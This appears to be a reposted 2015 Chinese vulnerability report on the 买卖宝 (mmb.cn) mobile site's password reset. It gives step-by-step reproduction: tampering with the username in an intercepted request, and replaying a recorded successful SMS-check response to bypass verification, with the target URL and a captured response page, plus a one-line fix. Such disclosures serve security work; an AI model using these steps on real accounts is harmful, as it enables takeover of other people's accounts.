买卖宝成立于2006年,是国内最早涉足移动电子商务的专业平台,致力于为农民、农民工及三四线城市居民提供平等的购物机会。团队积极进取、努力创新,历时多年,已发展成为国内市场份额最高的移动B2C商城。 a.简单复现方式: 1.手机绑定自己的账号,然后用手机接收修改密码的短信 2.用下面链接[小贴士]位置找回密码,抓包改username就可以改任意账号密码了。 http://12094.mmb.cn/wap/findpassword/sendBandPhoneNum.do b.复杂复现方式: 1、问题存在wap版本,通过如下链接进行重置密码 http://12094.mmb.cn/wap/findpassword/sendBandPhoneNum.do?findPasswordIndex=1&uuniq=1427032972658239 2、首先走一遍正常重置密码的流程,记录正确短信码校验后的响应数据包,如下 HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Mar 2015 13:38:00 GMT Content-Type: text/html;charset=utf-8 Connection: keep-alive Cache-Control: no-cache Content-Length: 5028 <!DOCTYPE HTML> <html > <head> <meta charset="utf-8" http-equiv="Content-Type" /> <title>买卖宝-修改密码</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0;" /> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black" /> <meta name="format-detection" content="telephone=no" /> <meta name="keywords" content="买卖宝,买卖宝商城,mmb,mmb.cn,买卖宝货到付款,手机购物,移动电商,女装,男装,情侣装,手机,手机配件,箱包,时尚女鞋,时尚男鞋 ,运动鞋,日用百货,内衣,数码,电脑"/> <meta name="description" content="买卖宝商城,天天低价,全国货到付款,30天包退换。提供3C、服饰、护肤、彩妆、鞋类、箱包、饰品、家居百货等10万余种商品,全场保真!买卖宝一直致力于为中国5亿手机网民提供物美价廉的商品和便捷高效的服务!"/> <link rel="stylesheet" type="text/css" href="http://rep.mmb.cn/wap/upload/touch/newWap/css/common.css" /> <link rel="stylesheet" type="text/css" href="http://rep.mmb.cn/wap/upload/touch/newWap/css/proList.css" /> <link rel="stylesheet" type="text/css" href="http://rep.mmb.cn/wap/upload/touch/newWap/css/usermember.css" /> <script type="text/javascript" src="https://rep.mmb.cn/wap/upload/touch/javascript/jquery-1.7.2.min.js"></script> <script type="text/javascript" src="https://rep.mmb.cn/wap/upload/touch/newWap/js/password.js"></script> </head> <body> <div class="new_wap_con"> <script type="text/javascript"> function click_a(divDisplay){ document.getElementById(divDisplay).style.display = "none"; } </script> <script> window.onload=function(){ setTimeout(function() { if(document.getElementById('scroll')){ if(!(document.getElementById('scroll').value>0)){ window.scrollTo(0, 1) } }else{ window.scrollTo(0, 1) } }, 0); }; </script> <div class="header"> <div class="head_fl"> <a href="javascript:history.back()"><img alt="" src=/uploads/allimg/150415/1339543449-0.png"></a> </div> <div class="head_fm"> <h1>重置密码</h1> </div> <div class="head_fr"> <a href="/wap/wapIndex.jsp?uuniq=1427031480085560"><img alt="" src=/uploads/allimg/150415/1339541D0-1.png"></a> </div> </div> <div class="clear top_border"></div> <div class="password_main"> <form id="form1" action="/wap/touch/login.do?method=inputNewPassword" method="post"> <div class="pass_border"> <input type="hidden" name="userName" value="kevin219"/> 设置新密码:<input type="password" name="password" placeholder="请输入新的密码"/> </div> <div class="pass_border"> 确认密码:<input type="password" name="password2" placeholder="请再次输入新的密码"/> </div> <div style="width:94%;margin:0 auto;text-align:center;"> <input class="sub" type="submit" value="确定"/> </div> </form> </div> <div class="bai_heig"></div> <div class="footer"> <ul> <li> <a href="/wap/wapIndex.jsp?uuniq=1427031480085716"> 首页 </a> </li> <li> <a href="/wap/touch/catalog.do"> 分类 </a> </li> <li> <a href="/wap/touch/StaticPage.do?alias=help05"> 帮助 </a> </li> <li class="fo_li_last"> <a href="/wap/touch/guestbook/guestBookIndex.jsp"> 意见反馈 </a> </li> <li class="fo_li_last"> <a href="/wap/touch/StaticPage.do?alias=about"> 关于我们 </a> </li> </ul> <div class="foot_con"> <p> 买卖宝客服热线:<a href="tel:4008869499">400-886-9499</a> </p> <p> <a class="foot_cli" href="/wap/wap4/changeV.jsp?toV=2"> WAP版 </a> <a href="javascript:void(0)"> <span>触屏版</span> </a> </p> <p> <a href='http://www.jsgsj.gov.cn:60101/keyLicense/templet/Company10-60.jsp'> <img src=http://www.2cto.com/uploadfile/2015/0329/20150329101042927.com/&' width='30px'/> </a> <span class="fo_ba"> MMB.CN(苏ICP备10122122)</span> </p> </div> </div> <span style='display:none' id='sheep_url'>/wap/login.do?backto=%2Fwap%2Ftouch%2Fuser%2FinputNewPassword.jsp%3Fuuniq%3D1427031400767860%26r%3D1</span> <span style='display:none' id='sheep_do'>/wap/touch/findSheep.do?r=0.29827094004312193</span> <script type='text/javascript' src='https://rep.mmb.cn/wap/upload/touch/newWap/js/sheep18.js'></script> <link rel='stylesheet' href='http://rep.mmb.cn/wap/upload/touch/newWap/css/sheep.css'/> <span style="display:none" id='sheep_return'>false</span> <span style="display:none" id='sheep_back'>false</span> </div> </body> </html> 3、以本人的账号作为测试,只是证明漏洞存在,请勿查水表。如下,下发短信码后,提交任意短信码(此处为123456) 4、提交该请求后,第一次返回如下内容(响应包内容为:1) 5、修改响应数据包为:0,释放请求 6、接着会返回如下响应,内容提示:验证码错误 7、使用前面步骤2记录的正常流程返回的响应包替代此处 8、释放该请求后,进行重置新密码页面,设置新密码为:888qqq 9、重置密码成功
解决方案:校验客户端和服务端 |
-
上一篇: 百度贴吧点击劫持(可恶意刷粉丝)及解决方案 - 网站安全 - 自学php网
下一篇: 湖北省农机安全监理推广信息网存储型XSS+SQL注入(已打Cookies) - 网站安全 - 自学php网
还没有人抢沙发呢~